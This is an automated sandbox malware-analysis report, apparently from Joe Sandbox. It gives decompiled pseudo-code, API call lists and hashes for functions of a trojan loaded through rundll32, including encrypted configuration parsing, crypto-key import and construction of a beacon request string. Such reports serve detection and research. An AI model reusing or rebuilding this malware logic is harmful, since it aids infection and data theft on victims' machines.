                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: FreeHeap
                    • String ID:
                    • API String ID: 3298025750-0
                    • Opcode ID: fb026c97ae8c6fc1aad3e55d486afbb148134ec84274feeaeacb971b91188b56
                    • Instruction ID: 77b7306bbcd9c46cb74d8444dec57a0784786b75b2e5d896dcc661693860143a
                    • Opcode Fuzzy Hash: fb026c97ae8c6fc1aad3e55d486afbb148134ec84274feeaeacb971b91188b56
                    • Instruction Fuzzy Hash: 28B012B1100200EBCB256B00DE04F057A22AB5C700F004011B30444078C33204B0FB3D
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 031833F1 Relevance: 1.3, APIs: 1, Instructions: 43memoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E031833F1(intOrPtr* __edi, void* _a4, intOrPtr _a8, unsigned int _a12) {
				void* _t21;
				void* _t22;
				signed int _t24;
				intOrPtr* _t26;
				void* _t27;

				_t26 = __edi;
				if(_a4 == 0) {
					L2:
					_t27 = E031858BD(_a4, 0x80000002, _a8, _a12,  &_a4,  &_a12);
					if(_t27 == 0) {
						_t24 = _a12 >> 1;
						if(_t24 == 0) {
							_t27 = 2;
							HeapFree( *0x318a2d8, 0, _a4);
						} else {
							_t21 = _a4;
							 *((short*)(_t21 + _t24 * 2 - 2)) = 0;
							 *_t26 = _t21;
						}
					}
					L6:
					return _t27;
				}
				_t22 = E03182839(_a4, _a8, _a12, __edi); // executed
				_t27 = _t22;
				if(_t27 == 0) {
					goto L6;
				}
				goto L2;
			}








                    0x031833f1
                    0x031833f9
                    0x03183410
                    0x0318342b
                    0x0318342f
                    0x03183434
                    0x03183436
                    0x03183448
                    0x03183454
                    0x03183438
                    0x03183438
                    0x0318343d
                    0x03183442
                    0x03183442
                    0x03183436
                    0x0318345a
                    0x0318345e
                    0x0318345e
                    0x03183405
                    0x0318340a
                    0x0318340e
                    0x00000000
                    0x00000000
                    0x00000000

                    APIs
                      • Part of subcall function 03182839: SysFreeString.OLEAUT32(00000000), ref: 0318289C
                    • HeapFree.KERNEL32(00000000,00000000,00000000,80000002,74D0F710,?,00000000,?,00000000,?,0318528E,?,004F0053,057C9218,00000000,?), ref: 03183454
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: Free$HeapString
                    • String ID:
                    • API String ID: 3806048269-0
                    • Opcode ID: 5041094718be4a3a7ae0607d02dece7c7020d57127e4b800a96f0735a5c2070e
                    • Instruction ID: 584308f7d5bb04426e64704945bb79f7a0ddcf5fdc21c58e57d4a9839478af48
                    • Opcode Fuzzy Hash: 5041094718be4a3a7ae0607d02dece7c7020d57127e4b800a96f0735a5c2070e
                    • Instruction Fuzzy Hash: B1012C3A501619BBCB23EF54CC00EAA7B69EF08B50F088825FE159A160D731D960DB94
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 03185063 Relevance: 1.3, APIs: 1, Instructions: 36stringCOMMON
                    Download Yara Rule
                    C-Code - Quality: 75%
                    			E03185063(void* __ecx, void* __edx, void* _a4, void* _a8) {
				void* _t13;
				void* _t21;

				_t11 =  &_a4;
				_t21 = 0;
				__imp__( &_a8);
				_t13 = E03181508( &_a4 + 1, 1, _a8, _a4, _a4, _t11); // executed
				if(_t13 == 0) {
					_t21 = E031833DC(_a8 + _a8);
					if(_t21 != 0) {
						E031822EA(_a4, _t21, _t23);
					}
					E031861DA(_a4);
				}
				return _t21;
			}





                    0x0318506b
                    0x03185072
                    0x03185074
                    0x03185083
                    0x0318508a
                    0x03185099
                    0x0318509d
                    0x031850a4
                    0x031850a4
                    0x031850ac
                    0x031850b1
                    0x031850b6

                    APIs
                    • lstrlen.KERNEL32(00000000,00000000,03183ECE,00000000,?,031866D9,00000000,03183ECE,?,7491C740,03183ECE,00000000,057C9600), ref: 03185074
                      • Part of subcall function 03181508: CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000018,F0000000,00000000,00000000,00000000,?,?,?,03185088,00000001,03183ECE,00000000), ref: 03181540
                      • Part of subcall function 03181508: memcpy.NTDLL(03185088,03183ECE,00000010,?,?,?,03185088,00000001,03183ECE,00000000,?,031866D9,00000000,03183ECE,?,7491C740), ref: 03181559
                      • Part of subcall function 03181508: CryptImportKey.ADVAPI32(?,?,0000001C,00000000,00000000,00000000), ref: 03181582
                      • Part of subcall function 03181508: CryptSetKeyParam.ADVAPI32(00000000,00000001,?,00000000), ref: 0318159A
                      • Part of subcall function 03181508: memcpy.NTDLL(00000000,7491C740,057C9600,00000010), ref: 031815EC
                      • Part of subcall function 031833DC: RtlAllocateHeap.NTDLL(00000000,00000000,031862F6), ref: 031833E8
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: Crypt$memcpy$AcquireAllocateContextHeapImportParamlstrlen
                    • String ID:
                    • API String ID: 894908221-0
                    • Opcode ID: 5d5a0c864dfb429d338044be69ae97679bbed394dc254d6be2a6b23317409963
                    • Instruction ID: 035b4c26b16a04ff6486c4906baa67562f0c9ddb27e87353ad3baa73b4e45b74
                    • Opcode Fuzzy Hash: 5d5a0c864dfb429d338044be69ae97679bbed394dc254d6be2a6b23317409963
                    • Instruction Fuzzy Hash: B3F0303A100108BBCF12BF55DC00CDA3BAEEF8D260B048021FD19CE110DB31D5559BA4
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 03185B0E Relevance: 1.3, APIs: 1, Instructions: 26stringCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E03185B0E(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, WCHAR* _a20) {
				void* _t17;

				if(_a4 == 0) {
					L2:
					return E031846ED(_a8, 1, _a12, _a16, _a20, lstrlenW(_a20) + _t14 + 2);
				}
				_t17 = E0318370C(_a4, _a8, _a12, _a16, _a20); // executed
				if(_t17 != 0) {
					goto L2;
				}
				return _t17;
			}




                    0x03185b16
                    0x03185b30
                    0x00000000
                    0x03185b4c
                    0x03185b27
                    0x03185b2e
                    0x00000000
                    0x00000000
                    0x03185b53

                    APIs
                    • lstrlenW.KERNEL32(?,?,?,03184E5D,3D031890,80000002,03186A76,031857D1,74666F53,4D4C4B48,031857D1,?,3D031890,80000002,03186A76,?), ref: 03185B33
                      • Part of subcall function 0318370C: SysAllocString.OLEAUT32(031857D1), ref: 03183725
                      • Part of subcall function 0318370C: SysFreeString.OLEAUT32(00000000), ref: 03183766
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: String$AllocFreelstrlen
                    • String ID:
                    • API String ID: 3808004451-0
                    • Opcode ID: 76b046c928a8325cd4a6bdadac271a150af8958e0882d7ef3cf88ad7bf4141e5
                    • Instruction ID: 5bb6f9b0bb86650f82d8d7fc145c4ac3b390b8624c4624cceaf8107538a01c20
                    • Opcode Fuzzy Hash: 76b046c928a8325cd4a6bdadac271a150af8958e0882d7ef3cf88ad7bf4141e5
                    • Instruction Fuzzy Hash: 8AF07F3600020EBBDF16AF91DC45EEA7F6AEB18354F148014BA1458061DB32D5B1EFA8
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Non-executed Functions

                    Function 03181D8A Relevance: 12.3, APIs: 8, Instructions: 258memoryCOMMONCrypto
                    Download Yara Rule
                    C-Code - Quality: 93%
                    			E03181D8A(void* __ebx, int* __ecx, void* __edx, void* __edi, void* __esi) {
				int _v8;
				void* _v12;
				void* _v16;
				signed int _t28;
				signed int _t33;
				signed int _t39;
				char* _t45;
				char* _t46;
				char* _t47;
				char* _t48;
				char* _t49;
				char* _t50;
				void* _t51;
				void* _t52;
				void* _t53;
				intOrPtr _t54;
				void* _t56;
				intOrPtr _t57;
				intOrPtr _t58;
				signed int _t61;
				intOrPtr _t64;
				signed int _t65;
				signed int _t70;
				void* _t72;
				void* _t73;
				signed int _t75;
				signed int _t78;
				signed int _t82;
				signed int _t86;
				signed int _t90;
				signed int _t94;
				signed int _t98;
				void* _t101;
				void* _t102;
				void* _t116;
				void* _t119;
				intOrPtr _t122;

				_t119 = __esi;
				_t116 = __edi;
				_t104 = __ecx;
				_t101 = __ebx;
				_t28 =  *0x318a344; // 0x43175ac3
				if(E031810F8( &_v8,  &_v12, _t28 ^ 0xa23f04a7) != 0 && _v12 >= 0x110) {
					 *0x318a374 = _v8;
				}
				_t33 =  *0x318a344; // 0x43175ac3
				if(E031810F8( &_v16,  &_v12, _t33 ^ 0x2bfce340) == 0) {
					_v12 = 2;
					L69:
					return _v12;
				}
				_t39 =  *0x318a344; // 0x43175ac3
				_push(_t116);
				if(E031810F8( &_v12,  &_v8, _t39 ^ 0xcca68722) == 0) {
					L67:
					HeapFree( *0x318a2d8, 0, _v16);
					goto L69;
				} else {
					_push(_t101);
					_t102 = _v12;
					if(_t102 == 0) {
						_t45 = 0;
					} else {
						_t98 =  *0x318a344; // 0x43175ac3
						_t45 = E031836C5(_t104, _t102, _t98 ^ 0x523046bc);
					}
					_push(_t119);
					if(_t45 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t45, 0,  &_v8) != 0) {
							 *0x318a2e0 = _v8;
						}
					}
					if(_t102 == 0) {
						_t46 = 0;
					} else {
						_t94 =  *0x318a344; // 0x43175ac3
						_t46 = E031836C5(_t104, _t102, _t94 ^ 0x0b3e0d40);
					}
					if(_t46 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t46, 0,  &_v8) != 0) {
							 *0x318a2e4 = _v8;
						}
					}
					if(_t102 == 0) {
						_t47 = 0;
					} else {
						_t90 =  *0x318a344; // 0x43175ac3
						_t47 = E031836C5(_t104, _t102, _t90 ^ 0x1b5903e6);
					}
					if(_t47 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t47, 0,  &_v8) != 0) {
							 *0x318a2e8 = _v8;
						}
					}
					if(_t102 == 0) {
						_t48 = 0;
					} else {
						_t86 =  *0x318a344; // 0x43175ac3
						_t48 = E031836C5(_t104, _t102, _t86 ^ 0x267c2349);
					}
					if(_t48 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t48, 0,  &_v8) != 0) {
							 *0x318a004 = _v8;
						}
					}
					if(_t102 == 0) {
						_t49 = 0;
					} else {
						_t82 =  *0x318a344; // 0x43175ac3
						_t49 = E031836C5(_t104, _t102, _t82 ^ 0x167db74c);
					}
					if(_t49 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t49, 0,  &_v8) != 0) {
							 *0x318a02c = _v8;
						}
					}
					if(_t102 == 0) {
						_t50 = 0;
					} else {
						_t78 =  *0x318a344; // 0x43175ac3
						_t50 = E031836C5(_t104, _t102, _t78 ^ 0x02ddbcae);
					}
					if(_t50 == 0) {
						L41:
						 *0x318a2ec = 5;
						goto L42;
					} else {
						_t104 =  &_v8;
						if(StrToIntExA(_t50, 0,  &_v8) == 0 || _v8 == 0) {
							goto L41;
						} else {
							L42:
							if(_t102 == 0) {
								_t51 = 0;
							} else {
								_t75 =  *0x318a344; // 0x43175ac3
								_t51 = E031836C5(_t104, _t102, _t75 ^ 0x0cbf33fd);
							}
							if(_t51 != 0) {
								_push(_t51);
								_t72 = 0x10;
								_t73 = E03185B85(_t72);
								if(_t73 != 0) {
									_push(_t73);
									E0318607C();
								}
							}
							if(_t102 == 0) {
								_t52 = 0;
							} else {
								_t70 =  *0x318a344; // 0x43175ac3
								_t52 = E031836C5(_t104, _t102, _t70 ^ 0x93710135);
							}
							if(_t52 != 0 && E03185B85(0, _t52) != 0) {
								_t122 =  *0x318a3cc; // 0x57c9600
								E03185364(_t122 + 4, _t68);
							}
							if(_t102 == 0) {
								_t53 = 0;
							} else {
								_t65 =  *0x318a344; // 0x43175ac3
								_t53 = E031836C5(_t104, _t102, _t65 ^ 0x175474b7);
							}
							if(_t53 == 0) {
								L59:
								_t54 =  *0x318a348; // 0x263d5a8
								_t22 = _t54 + 0x318b5f3; // 0x616d692f
								 *0x318a370 = _t22;
								goto L60;
							} else {
								_t64 = E03185B85(0, _t53);
								 *0x318a370 = _t64;
								if(_t64 != 0) {
									L60:
									if(_t102 == 0) {
										_t56 = 0;
									} else {
										_t61 =  *0x318a344; // 0x43175ac3
										_t56 = E031836C5(_t104, _t102, _t61 ^ 0xf8a29dde);
									}
									if(_t56 == 0) {
										_t57 =  *0x318a348; // 0x263d5a8
										_t23 = _t57 + 0x318b899; // 0x6976612e
										_t58 = _t23;
									} else {
										_t58 = E03185B85(0, _t56);
									}
									 *0x318a3e0 = _t58;
									HeapFree( *0x318a2d8, 0, _t102);
									_v12 = 0;
									goto L67;
								}
								goto L59;
							}
						}
					}
				}
			}








































                    0x03181d8a
                    0x03181d8a
                    0x03181d8a
                    0x03181d8a
                    0x03181d8d
                    0x03181daa
                    0x03181db8
                    0x03181db8
                    0x03181dbd
                    0x03181dd7
                    0x03182045
                    0x0318204c
                    0x03182050
                    0x03182050
                    0x03181ddd
                    0x03181de2
                    0x03181dfa
                    0x03182032
                    0x0318203c
                    0x00000000
                    0x03181e00
                    0x03181e00
                    0x03181e01
                    0x03181e06
                    0x03181e1c
                    0x03181e08
                    0x03181e08
                    0x03181e15
                    0x03181e15
                    0x03181e1e
                    0x03181e27
                    0x03181e29
                    0x03181e33
                    0x03181e38
                    0x03181e38
                    0x03181e33
                    0x03181e3f
                    0x03181e55
                    0x03181e41
                    0x03181e41
                    0x03181e4e
                    0x03181e4e
                    0x03181e59
                    0x03181e5b
                    0x03181e65
                    0x03181e6a
                    0x03181e6a
                    0x03181e65
                    0x03181e71
                    0x03181e87
                    0x03181e73
                    0x03181e73
                    0x03181e80
                    0x03181e80
                    0x03181e8b
                    0x03181e8d
                    0x03181e97
                    0x03181e9c
                    0x03181e9c
                    0x03181e97
                    0x03181ea3
                    0x03181eb9
                    0x03181ea5
                    0x03181ea5
                    0x03181eb2
                    0x03181eb2
                    0x03181ebd
                    0x03181ebf
                    0x03181ec9
                    0x03181ece
                    0x03181ece
                    0x03181ec9
                    0x03181ed5
                    0x03181eeb
                    0x03181ed7
                    0x03181ed7
                    0x03181ee4
                    0x03181ee4
                    0x03181eef
                    0x03181ef1
                    0x03181efb
                    0x03181f00
                    0x03181f00
                    0x03181efb
                    0x03181f07
                    0x03181f1d
                    0x03181f09
                    0x03181f09
                    0x03181f16
                    0x03181f16
                    0x03181f21
                    0x03181f34
                    0x03181f34
                    0x00000000
                    0x03181f23
                    0x03181f23
                    0x03181f2d
                    0x00000000
                    0x03181f3e
                    0x03181f3e
                    0x03181f40
                    0x03181f56
                    0x03181f42
                    0x03181f42
                    0x03181f4f
                    0x03181f4f
                    0x03181f5a
                    0x03181f5c
                    0x03181f5f
                    0x03181f60
                    0x03181f67
                    0x03181f69
                    0x03181f6a
                    0x03181f6a
                    0x03181f67
                    0x03181f71
                    0x03181f87
                    0x03181f73
                    0x03181f73
                    0x03181f80
                    0x03181f80
                    0x03181f8b
                    0x03181f99
                    0x03181fa3
                    0x03181fa3
                    0x03181fab
                    0x03181fc1
                    0x03181fad
                    0x03181fad
                    0x03181fba
                    0x03181fba
                    0x03181fc5
                    0x03181fd8
                    0x03181fd8
                    0x03181fdd
                    0x03181fe3
                    0x00000000
                    0x03181fc7
                    0x03181fca
                    0x03181fcf
                    0x03181fd6
                    0x03181fe8
                    0x03181fea
                    0x03182000
                    0x03181fec
                    0x03181fec
                    0x03181ff9
                    0x03181ff9
                    0x03182004
                    0x03182010
                    0x03182015
                    0x03182015
                    0x03182006
                    0x03182009
                    0x03182009
                    0x03182023
                    0x03182028
                    0x0318202e
                    0x00000000
                    0x03182031
                    0x00000000
                    0x03181fd6
                    0x03181fc5
                    0x03181f2d
                    0x03181f21

                    APIs
                    • StrToIntExA.SHLWAPI(00000000,00000000,?,0318A00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 03181E2F
                    • StrToIntExA.SHLWAPI(00000000,00000000,?,0318A00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 03181E61
                    • StrToIntExA.SHLWAPI(00000000,00000000,?,0318A00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 03181E93
                    • StrToIntExA.SHLWAPI(00000000,00000000,?,0318A00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 03181EC5
                    • StrToIntExA.SHLWAPI(00000000,00000000,?,0318A00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 03181EF7
                    • StrToIntExA.SHLWAPI(00000000,00000000,?,0318A00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 03181F29
                    • HeapFree.KERNEL32(00000000,?,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?,?), ref: 03182028
                    • HeapFree.KERNEL32(00000000,?,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?,?), ref: 0318203C
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: FreeHeap
                    • String ID:
                    • API String ID: 3298025750-0
                    • Opcode ID: 7ba5a21f03117e9a3cbe85a607005cff37cf64625b63dfce068e1b5c09f7c58b
                    • Instruction ID: ae733287ccaf60aab94745a9e995de8855134200a41f86a7926da17ca59e32f3
                    • Opcode Fuzzy Hash: 7ba5a21f03117e9a3cbe85a607005cff37cf64625b63dfce068e1b5c09f7c58b
                    • Instruction Fuzzy Hash: 9381807AA00204BFC715FBB98DC4D5BB6EDAF5C6007280D36A901D7208EB35D9868F2C
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 03182B91 Relevance: 37.8, APIs: 25, Instructions: 278memorystringCOMMON
                    Download Yara Rule
                    C-Code - Quality: 76%
                    			E03182B91(long __eax, intOrPtr _a4, void* _a8, void* _a16, void* _a20, void* _a24, intOrPtr _a32, void* _a40, intOrPtr _a44) {
				intOrPtr _v4;
				signed int _v8;
				int* _v12;
				char* _v16;
				intOrPtr _v20;
				void* _v24;
				intOrPtr _v32;
				intOrPtr _v36;
				void* _v40;
				void* __ebx;
				void* __edi;
				long _t68;
				intOrPtr _t69;
				intOrPtr _t70;
				intOrPtr _t71;
				intOrPtr _t72;
				intOrPtr _t73;
				void* _t76;
				intOrPtr _t77;
				int _t80;
				intOrPtr _t81;
				intOrPtr _t85;
				intOrPtr _t86;
				intOrPtr _t87;
				void* _t89;
				void* _t92;
				intOrPtr _t96;
				intOrPtr _t100;
				intOrPtr* _t102;
				int* _t108;
				int* _t118;
				char** _t120;
				char* _t121;
				intOrPtr* _t126;
				intOrPtr* _t128;
				intOrPtr* _t130;
				intOrPtr* _t132;
				intOrPtr _t135;
				intOrPtr _t139;
				int _t142;
				intOrPtr _t144;
				int _t147;
				intOrPtr _t148;
				int _t151;
				void* _t152;
				intOrPtr _t166;
				void* _t168;
				int _t169;
				void* _t170;
				void* _t171;
				long _t172;
				intOrPtr* _t173;
				intOrPtr* _t174;
				intOrPtr _t175;
				intOrPtr* _t178;
				char** _t181;
				char** _t183;
				char** _t184;
				void* _t189;

				_t68 = __eax;
				_t181 =  &_v16;
				_t152 = _a20;
				_a20 = 8;
				if(__eax == 0) {
					_t68 = GetTickCount();
				}
				_t69 =  *0x318a018; // 0x14d7c998
				asm("bswap eax");
				_t70 =  *0x318a014; // 0x3a87c8cd
				asm("bswap eax");
				_t71 =  *0x318a010; // 0xd8d2f808
				asm("bswap eax");
				_t72 = E0318A00C; // 0xeec43f25
				asm("bswap eax");
				_t73 =  *0x318a348; // 0x263d5a8
				_t3 = _t73 + 0x318b5ac; // 0x74666f73
				_t169 = wsprintfA(_t152, _t3, 3, 0x3d18f, _t72, _t71, _t70, _t69,  *0x318a02c,  *0x318a004, _t68);
				_t76 = E0318467F();
				_t77 =  *0x318a348; // 0x263d5a8
				_t4 = _t77 + 0x318b575; // 0x74707526
				_t80 = wsprintfA(_t169 + _t152, _t4, _t76);
				_t183 =  &(_t181[0xe]);
				_t170 = _t169 + _t80;
				if(_a24 != 0) {
					_t148 =  *0x318a348; // 0x263d5a8
					_t8 = _t148 + 0x318b508; // 0x732526
					_t151 = wsprintfA(_t170 + _t152, _t8, _a24);
					_t183 =  &(_t183[3]);
					_t170 = _t170 + _t151;
				}
				_t81 =  *0x318a348; // 0x263d5a8
				_t10 = _t81 + 0x318b89e; // 0x57c8e46
				_t153 = _t10;
				_t189 = _a20 - _t10;
				_t12 = _t81 + 0x318b246; // 0x74636126
				_t164 = 0 | _t189 == 0x00000000;
				_t171 = _t170 + wsprintfA(_t170 + _t152, _t12, _t189 == 0);
				_t85 =  *0x318a36c; // 0x57c95b0
				_t184 =  &(_t183[3]);
				if(_t85 != 0) {
					_t144 =  *0x318a348; // 0x263d5a8
					_t16 = _t144 + 0x318b8be; // 0x3d736f26
					_t147 = wsprintfA(_t171 + _t152, _t16, _t85);
					_t184 =  &(_t184[3]);
					_t171 = _t171 + _t147;
				}
				_t86 = E0318472F(_t153);
				_a32 = _t86;
				if(_t86 != 0) {
					_t139 =  *0x318a348; // 0x263d5a8
					_t19 = _t139 + 0x318b8d0; // 0x736e6426
					_t142 = wsprintfA(_t171 + _t152, _t19, _t86);
					_t184 =  &(_t184[3]);
					_t171 = _t171 + _t142;
					HeapFree( *0x318a2d8, 0, _a40);
				}
				_t87 = E03181340();
				_a32 = _t87;
				if(_t87 != 0) {
					_t135 =  *0x318a348; // 0x263d5a8
					_t23 = _t135 + 0x318b8c5; // 0x6f687726
					wsprintfA(_t171 + _t152, _t23, _t87);
					_t184 =  &(_t184[3]);
					HeapFree( *0x318a2d8, 0, _a40);
				}
				_t166 =  *0x318a3cc; // 0x57c9600
				_t89 = E03186B59(0x318a00a, _t166 + 4);
				_t172 = 0;
				_a16 = _t89;
				if(_t89 == 0) {
					L30:
					HeapFree( *0x318a2d8, _t172, _t152);
					return _a44;
				} else {
					_t92 = RtlAllocateHeap( *0x318a2d8, 0, 0x800);
					_a24 = _t92;
					if(_t92 == 0) {
						L29:
						HeapFree( *0x318a2d8, _t172, _a8);
						goto L30;
					}
					E03182915(GetTickCount());
					_t96 =  *0x318a3cc; // 0x57c9600
					__imp__(_t96 + 0x40);
					asm("lock xadd [eax], ecx");
					_t100 =  *0x318a3cc; // 0x57c9600
					__imp__(_t100 + 0x40);
					_t102 =  *0x318a3cc; // 0x57c9600
					_t168 = E03186675(1, _t164, _t152,  *_t102);
					asm("lock xadd [eax], ecx");
					if(_t168 == 0) {
						L28:
						HeapFree( *0x318a2d8, _t172, _a16);
						goto L29;
					}
					StrTrimA(_t168, 0x3189280);
					_push(_t168);
					_t108 = E03187563();
					_v12 = _t108;
					if(_t108 == 0) {
						L27:
						HeapFree( *0x318a2d8, _t172, _t168);
						goto L28;
					}
					_t173 = __imp__;
					 *_t173(_t168, _a8);
					 *_t173(_a4, _v12);
					_t174 = __imp__;
					 *_t174(_v4, _v24);
					_t175 = E03186536( *_t174(_v12, _t168), _v20);
					_v36 = _t175;
					if(_t175 == 0) {
						_v8 = 8;
						L25:
						E031863F6();
						L26:
						HeapFree( *0x318a2d8, 0, _v40);
						_t172 = 0;
						goto L27;
					}
					_t118 = E03186F7D(_t152, 0xffffffffffffffff, _t168,  &_v24);
					_v12 = _t118;
					if(_t118 == 0) {
						_t178 = _v24;
						_v20 = E0318597D(_t178, _t175, _v16, _v12);
						_t126 =  *((intOrPtr*)(_t178 + 8));
						 *((intOrPtr*)( *_t126 + 0x80))(_t126);
						_t128 =  *((intOrPtr*)(_t178 + 8));
						 *((intOrPtr*)( *_t128 + 8))(_t128);
						_t130 =  *((intOrPtr*)(_t178 + 4));
						 *((intOrPtr*)( *_t130 + 8))(_t130);
						_t132 =  *_t178;
						 *((intOrPtr*)( *_t132 + 8))(_t132);
						E031861DA(_t178);
					}
					if(_v8 != 0x10d2) {
						L20:
						if(_v8 == 0) {
							_t120 = _v16;
							if(_t120 != 0) {
								_t121 =  *_t120;
								_t176 =  *_v12;
								_v16 = _t121;
								wcstombs(_t121, _t121,  *_v12);
								 *_v24 = E0318673A(_v16, _v16, _t176 >> 1);
							}
						}
						goto L23;
					} else {
						if(_v16 != 0) {
							L23:
							E031861DA(_v32);
							if(_v12 == 0 || _v8 == 0x10d2) {
								goto L26;
							} else {
								goto L25;
							}
						}
						_v8 = _v8 & 0x00000000;
						goto L20;
					}
				}
			}






























































                    0x03182b91
                    0x03182b91
                    0x03182b95
                    0x03182b9c
                    0x03182ba6
                    0x03182ba8
                    0x03182ba8
                    0x03182bb5
                    0x03182bc0
                    0x03182bc3
                    0x03182bce
                    0x03182bd1
                    0x03182bd6
                    0x03182bd9
                    0x03182bde
                    0x03182be1
                    0x03182bed
                    0x03182bfa
                    0x03182bfc
                    0x03182c02
                    0x03182c07
                    0x03182c12
                    0x03182c14
                    0x03182c17
                    0x03182c1e
                    0x03182c20
                    0x03182c29
                    0x03182c34
                    0x03182c36
                    0x03182c39
                    0x03182c39
                    0x03182c3b
                    0x03182c40
                    0x03182c40
                    0x03182c48
                    0x03182c4c
                    0x03182c52
                    0x03182c5d
                    0x03182c5f
                    0x03182c64
                    0x03182c69
                    0x03182c6c
                    0x03182c71
                    0x03182c7c
                    0x03182c7e
                    0x03182c81
                    0x03182c81
                    0x03182c83
                    0x03182c8e
                    0x03182c94
                    0x03182c97
                    0x03182c9c
                    0x03182ca7
                    0x03182ca9
                    0x03182cb0
                    0x03182cba
                    0x03182cba
                    0x03182cbc
                    0x03182cc1
                    0x03182cc7
                    0x03182cca
                    0x03182ccf
                    0x03182cd9
                    0x03182cdb
                    0x03182cea
                    0x03182cea
                    0x03182cec
                    0x03182cfa
                    0x03182cff
                    0x03182d01
                    0x03182d07
                    0x03182ee7
                    0x03182eef
                    0x03182efc
                    0x03182d0d
                    0x03182d19
                    0x03182d1f
                    0x03182d25
                    0x03182eda
                    0x03182ee5
                    0x00000000
                    0x03182ee5
                    0x03182d31
                    0x03182d36
                    0x03182d3f
                    0x03182d50
                    0x03182d54
                    0x03182d5d
                    0x03182d63
                    0x03182d70
                    0x03182d7d
                    0x03182d83
                    0x03182ecd
                    0x03182ed8
                    0x00000000
                    0x03182ed8
                    0x03182d8f
                    0x03182d95
                    0x03182d96
                    0x03182d9b
                    0x03182da1
                    0x03182ec3
                    0x03182ecb
                    0x00000000
                    0x03182ecb
                    0x03182dab
                    0x03182db2
                    0x03182dbc
                    0x03182dc2
                    0x03182dcc
                    0x03182dde
                    0x03182de0
                    0x03182de6
                    0x03182eff
                    0x03182eae
                    0x03182eae
                    0x03182eb3
                    0x03182ebf
                    0x03182ec1
                    0x00000000
                    0x03182ec1
                    0x03182df1
                    0x03182df6
                    0x03182dfc
                    0x03182e07
